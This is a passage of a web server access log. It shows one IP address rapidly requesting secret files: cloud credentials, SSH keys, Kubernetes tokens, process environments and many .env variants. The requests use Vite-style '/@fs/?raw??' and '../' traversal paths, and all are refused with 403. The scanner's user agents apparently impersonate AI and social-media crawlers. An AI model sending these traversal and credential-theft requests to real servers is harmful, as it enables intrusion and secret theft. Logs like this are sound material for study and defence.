(KHTML, like Gecko) Chrome/128.0.3124.192 Mobile Safari/537.36; compatible; Applebot/0.1; +http://www.apple.com/go/applebot" 34.26.120.174 - - [09/Sep/2026:22:32:24 -0700] "GET /@fs/app/service-account.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Twitterbot/1.0) Chrome/133.0.4029.240 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:24 -0700] "GET /@fs/root/.ssh/id_rsa?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GrokBot/1.0; +https://x.ai/grokbot)" 34.26.120.174 - - [09/Sep/2026:22:32:24 -0700] "GET /@fs/var/run/secrets/kubernetes.io/serviceaccount/token?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +Claude-User@anthropic.com) Chrome/120.0.8320.133 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:24 -0700] "GET /@fs/proc/self/cmdline?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.8456.128 Mobile Safari/537.36; compatible; GPTBot/1.2; +https://openai.com/gptbot" 34.26.120.174 - - [09/Sep/2026:22:32:24 -0700] "GET /@fs/../../../../../proc/self/environ?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.17) Gecko/20100101 Firefox/127.17; compatible; Claude-User/1.0; +Claude-User@anthropic.com" 34.26.120.174 - - [09/Sep/2026:22:32:24 -0700] "GET /@fs/../../../../../root/.env?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; WhatsApp/10.0.2.1)" 34.26.120.174 - - [09/Sep/2026:22:32:24 -0700] "GET /@fs/app/gcp-credentials.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +Claude-User@anthropic.com)" 34.26.120.174 - - [09/Sep/2026:22:32:24 -0700] "GET /@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.26.120.174 - - [09/Sep/2026:22:32:24 -0700] "GET /@fs/../../../../../app/.env?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler) Chrome/133.0.2484.228 Mobile Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:24 -0700] "GET /@fs/..%2f..%2f..%2f..%2f..%2fapp/.env?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.4624.102 Safari/537.36 Edg/136.0.4624.102; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.26.120.174 - - [09/Sep/2026:22:32:30 -0700] "GET /@fs/home/ubuntu/.azure/credentials?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 34.26.120.174 - - [09/Sep/2026:22:32:30 -0700] "GET /@fs/home/ubuntu/.config/gcloud/application_default_credentials.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:150.1) Gecko/20100101 Firefox/150.1; compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.26.120.174 - - [09/Sep/2026:22:32:30 -0700] "GET /@fs/root/.azure/accessTokens.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; WhatsApp/10.0.2.1)" 34.26.120.174 - - [09/Sep/2026:22:32:30 -0700] "GET /@fs/root/.azure/credentials?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/537.36 (KHTML, like Gecko; compatible; WhatsApp/10.0.2.1) Chrome/136.0.3031.173 Safari/537.36 Edg/136.0.3031.173" 34.26.120.174 - - [09/Sep/2026:22:32:30 -0700] "GET /@fs/root/.config/gcloud/application_default_credentials.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0; compatible; Claude-SearchBot/1.0; +https://www.anthropic.com/claude-searchbot" 34.26.120.174 - - [09/Sep/2026:22:32:31 -0700] "GET /@fs/root/.ovh.conf?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.4582.56 Mobile Safari/537.36; compatible; GPTBot/1.4; +https://openai.com/gptbot" 34.26.120.174 - - [09/Sep/2026:22:32:31 -0700] "GET /@fs/root/.oci/config?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.26.120.174 - - [09/Sep/2026:22:32:31 -0700] "GET /@fs/home/ec2-user/.aws/config?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot) Version/19.5 Safari/605.1.15" 34.26.120.174 - - [09/Sep/2026:22:32:31 -0700] "GET /@fs/root/.config/gcloud/credentials.db?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 34.26.120.174 - - [09/Sep/2026:22:32:31 -0700] "GET /@fs/home/node/.config/gcloud/application_default_credentials.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Applebot/0.1; +http://www.apple.com/go/applebot" 34.26.120.174 - - [09/Sep/2026:22:32:31 -0700] "GET /@fs/root/.config/hcloud/cli.toml?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; GrokBot/1.0; +https://x.ai/grokbot) Chrome/85.0.3558.228 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:31 -0700] "GET /@fs/home/ubuntu/.azure/accessTokens.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/grokbot)" 34.26.120.174 - - [09/Sep/2026:22:32:31 -0700] "GET /@fs/root/.config/linode-cli?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot)" 34.26.120.174 - - [09/Sep/2026:22:32:31 -0700] "GET /@fs/root/.vultr-cli.yaml?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:121.14) Gecko/20100101 Firefox/121.14; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 34.26.120.174 - - [09/Sep/2026:22:32:31 -0700] "GET /@fs/home/ubuntu/.ovh.conf?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 34.26.120.174 - - [09/Sep/2026:22:32:31 -0700] "GET /@fs/home/ubuntu/.oci/config?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.5293.169 Safari/537.36; compatible; ClaudeBot/1.0; +claudebot@anthropic.com" 34.26.120.174 - - [09/Sep/2026:22:32:33 -0700] "GET /@fs/root/.anthropic/config.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5; rv:105.15) Gecko/20100101 Firefox/105.15; compatible; TelegramBot/1.0" 34.26.120.174 - - [09/Sep/2026:22:32:33 -0700] "GET /@fs/root/.config/anthropic/credentials/default.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.8000.239 Mobile Safari/537.36; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user" 34.26.120.174 - - [09/Sep/2026:22:32:33 -0700] "GET /@fs/home/ubuntu/.config/anthropic/credentials/default.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Twitterbot/1.0" 34.26.120.174 - - [09/Sep/2026:22:32:33 -0700] "GET /@fs/home/ubuntu/.anthropic/config.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 34.26.120.174 - - [09/Sep/2026:22:32:33 -0700] "GET /@fs/root/.claude/settings.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php)" 34.26.120.174 - - [09/Sep/2026:22:32:33 -0700] "GET /@fs/app/.anthropic/config.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.26.120.174 - - [09/Sep/2026:22:32:33 -0700] "GET /@fs/app/.openai/config.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot)" 34.26.120.174 - - [09/Sep/2026:22:32:33 -0700] "GET /@fs/root/.openai/config.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko; compatible; Claude-User/1.0; +Claude-User@anthropic.com) Version/19.2 Mobile/15E148 Safari/604.1" 34.26.120.174 - - [09/Sep/2026:22:32:33 -0700] "GET /@fs/home/ubuntu/.openai/config.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15; compatible; Bytespider; +https://zhanzhang.toutiao.com/" 34.26.120.174 - - [09/Sep/2026:22:32:33 -0700] "GET /@fs/root/.config/openai/config.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.1085.175 Mobile Safari/537.36; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler" 34.26.120.174 - - [09/Sep/2026:22:32:34 -0700] "GET /@fs/var/task/.env?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; WhatsApp/10.0.2.1) Chrome/85.0.5403.205 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:34 -0700] "GET /@fs/proc/self/cwd/.env?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.1408.248 Safari/537.36; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user" 34.26.120.174 - - [09/Sep/2026:22:32:34 -0700] "GET /@fs/proc/self/cwd/.aws/credentials?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 34.26.120.174 - - [09/Sep/2026:22:32:34 -0700] "GET /@fs/root/.config/gcloud/application_default_credentials.json?import&raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 34.26.120.174 - - [09/Sep/2026:22:32:34 -0700] "GET /@fs/proc/self/environ?import&raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.2941.141 Safari/537.36; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler" 34.26.120.174 - - [09/Sep/2026:22:32:34 -0700] "GET /@fs/proc/1/environ?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots) Chrome/148.0.8862.249 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:40 -0700] "GET /uploads../.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.6236.22 Mobile Safari/537.36; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot" 34.26.120.174 - - [09/Sep/2026:22:32:40 -0700] "GET /_nuxt/../.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.26.120.174 - - [09/Sep/2026:22:32:40 -0700] "GET /img../.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) Chrome/114.0.6790.243 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:40 -0700] "GET /v1/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/grokbot)" 34.26.120.174 - - [09/Sep/2026:22:32:40 -0700] "GET /images../.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.26.120.174 - - [09/Sep/2026:22:32:40 -0700] "GET /assets../.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)" 34.26.120.174 - - [09/Sep/2026:22:32:40 -0700] "GET /@vite/env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; TelegramBot/1.0)" 34.26.120.174 - - [09/Sep/2026:22:32:40 -0700] "GET /.docker/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.5567.66 Mobile Safari/537.36; compatible; meta-externalagent/1.1; +https://developers.facebook.com/docs/sharing/webmasters/crawler" 34.26.120.174 - - [09/Sep/2026:22:32:40 -0700] "GET /@fs/app/.config/gcloud/application_default_credentials.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.3205.180 Safari/537.36; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot" 34.26.120.174 - - [09/Sep/2026:22:32:40 -0700] "GET /.config/gcloud/application_default_credentials.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot) Chrome/133.0.8748.136 Mobile Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:40 -0700] "GET /.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.26.120.174 - - [09/Sep/2026:22:32:40 -0700] "GET /.env.local HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.26.120.174 - - [09/Sep/2026:22:32:40 -0700] "GET /static../.config/gcloud/application_default_credentials.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot) Chrome/126.0.278.0 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:40 -0700] "GET /@fs/usr/src/app/.config/gcloud/application_default_credentials.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.193.248 Mobile Safari/537.36; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.26.120.174 - - [09/Sep/2026:22:32:40 -0700] "GET /v2/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GrokBot/1.0; +https://x.ai/grokbot" 34.26.120.174 - - [09/Sep/2026:22:32:40 -0700] "GET /@fs/proc/self/cwd/.config/gcloud/application_default_credentials.json?raw?? HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Bytespider; +https://zhanzhang.toutiao.com/" 34.26.120.174 - - [09/Sep/2026:22:32:43 -0700] "GET /.env.production HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; GPTBot/1.4; +https://openai.com/gptbot)" 34.26.120.174 - - [09/Sep/2026:22:32:43 -0700] "GET /.env.old HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.5697.84 Safari/537.36; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots" 34.26.120.174 - - [09/Sep/2026:22:32:43 -0700] "GET /.env.backup HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 34.26.120.174 - - [09/Sep/2026:22:32:43 -0700] "GET /.env.example HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user)" 34.26.120.174 - - [09/Sep/2026:22:32:43 -0700] "GET /.env.development HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 34.26.120.174 - - [09/Sep/2026:22:32:43 -0700] "GET /.env.staging HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; WhatsApp/10.0.2.1)" 34.26.120.174 - - [09/Sep/2026:22:32:43 -0700] "GET /.env.bak HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 34.26.120.174 - - [09/Sep/2026:22:32:43 -0700] "GET /.env.swp HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 34.26.120.174 - - [09/Sep/2026:22:32:43 -0700] "GET /env.js HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 34.26.120.174 - - [09/Sep/2026:22:32:43 -0700] "GET /env.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot)" 34.26.120.174 - - [09/Sep/2026:22:32:43 -0700] "GET /api/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.4412.148 Mobile Safari/537.36; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user" 34.26.120.174 - - [09/Sep/2026:22:32:43 -0700] "GET /app/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 15; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.3543.174 Mobile Safari/537.36; compatible; Bytespider; +https://zhanzhang.toutiao.com/" 34.26.120.174 - - [09/Sep/2026:22:32:43 -0700] "GET /backend/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; facebookexternalhit/1.1; +http://www.facebook.com/externalhit_uatext.php)" 34.26.120.174 - - [09/Sep/2026:22:32:43 -0700] "GET /admin/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)" 34.26.120.174 - - [09/Sep/2026:22:32:43 -0700] "GET /config/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/grokbot)" 34.26.120.174 - - [09/Sep/2026:22:32:44 -0700] "GET /laravel/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +https://www.anthropic.com/claude-user) Chrome/151.0.7411.72 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:45 -0700] "GET /docker/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot) Chrome/124.0.6374.199 Safari/537.36 Edg/124.0.6374.199" 34.26.120.174 - - [09/Sep/2026:22:32:45 -0700] "GET /core/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot) Version/19.3 Safari/605.1.15" 34.26.120.174 - - [09/Sep/2026:22:32:45 -0700] "GET /src/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 34.26.120.174 - - [09/Sep/2026:22:32:45 -0700] "GET /frontend/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)" 34.26.120.174 - - [09/Sep/2026:22:32:45 -0700] "GET /server/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.17) Gecko/20100101 Firefox/150.17; compatible; Applebot/0.1; +http://www.apple.com/go/applebot" 34.26.120.174 - - [09/Sep/2026:22:32:45 -0700] "GET /web/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 15_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15; compatible; Discordbot/2.0; +https://discordapp.com" 34.26.120.174 - - [09/Sep/2026:22:32:46 -0700] "GET /public/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/19.4 Mobile/15E148 Safari/604.1; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 34.26.120.174 - - [09/Sep/2026:22:32:46 -0700] "GET /.git/config HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.26.120.174 - - [09/Sep/2026:22:32:46 -0700] "GET /.git/HEAD HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +Claude-User@anthropic.com)" 34.26.120.174 - - [09/Sep/2026:22:32:46 -0700] "GET /.git-credentials HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GrokBot/1.0; +https://x.ai/grokbot)" 34.26.120.174 - - [09/Sep/2026:22:32:46 -0700] "GET /.aws/credentials HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Twitterbot/1.0)" 34.26.120.174 - - [09/Sep/2026:22:32:46 -0700] "GET /.github/.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots" 34.26.120.174 - - [09/Sep/2026:22:32:46 -0700] "GET /.aws/config HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user) Chrome/91.0.8475.114 Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:46 -0700] "GET /root/.aws/config HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.4005.231 Safari/537.36; compatible; Bytespider; +https://zhanzhang.toutiao.com/" 34.26.120.174 - - [09/Sep/2026:22:32:46 -0700] "GET /root/.aws/credentials HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot) Version/18.4 Safari/605.1.15" 34.26.120.174 - - [09/Sep/2026:22:32:46 -0700] "GET /aws.env HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 34.26.120.174 - - [09/Sep/2026:22:32:52 -0700] "GET /aws.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.480.59 Mobile Safari/537.36; compatible; Twitterbot/1.0" 34.26.120.174 - - [09/Sep/2026:22:32:52 -0700] "GET /aws-credentials HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.5825.119 Safari/537.36; compatible; Claude-User/1.0; +Claude-User@anthropic.com" 34.26.120.174 - - [09/Sep/2026:22:32:52 -0700] "GET /config.js HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; GPTBot/1.2; +https://openai.com/gptbot)" 34.26.120.174 - - [09/Sep/2026:22:32:52 -0700] "GET /settings.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.26.120.174 - - [09/Sep/2026:22:32:52 -0700] "GET /.gcloud/credentials HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 34.26.120.174 - - [09/Sep/2026:22:32:52 -0700] "GET /credentials.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.26.120.174 - - [09/Sep/2026:22:32:52 -0700] "GET /secrets.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)" 34.26.120.174 - - [09/Sep/2026:22:32:52 -0700] "GET /.gcloud/credentials.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Discordbot/2.0; +https://discordapp.com)" 34.26.120.174 - - [09/Sep/2026:22:32:52 -0700] "GET /aws_credentials HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.8191.193 Safari/537.36; compatible; Slackbot-LinkExpanding/1.0; +https://api.slack.com/robots" 34.26.120.174 - - [09/Sep/2026:22:32:52 -0700] "GET /runtime-config.js HTTP/1.1" 403 1695 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)" 34.26.120.174 - - [09/Sep/2026:22:32:52 -0700] "GET /app-config.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.358.18 Mobile Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot" 34.26.120.174 - - [09/Sep/2026:22:32:52 -0700] "GET /api/config HTTP/1.1" 403 1695 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user) Chrome/124.0.2433.184 Mobile Safari/537.36" 34.26.120.174 - - [09/Sep/2026:22:32:52 -0700] "GET /config.json HTTP/1.1" 403 1695 "-" "Mozilla/5.0 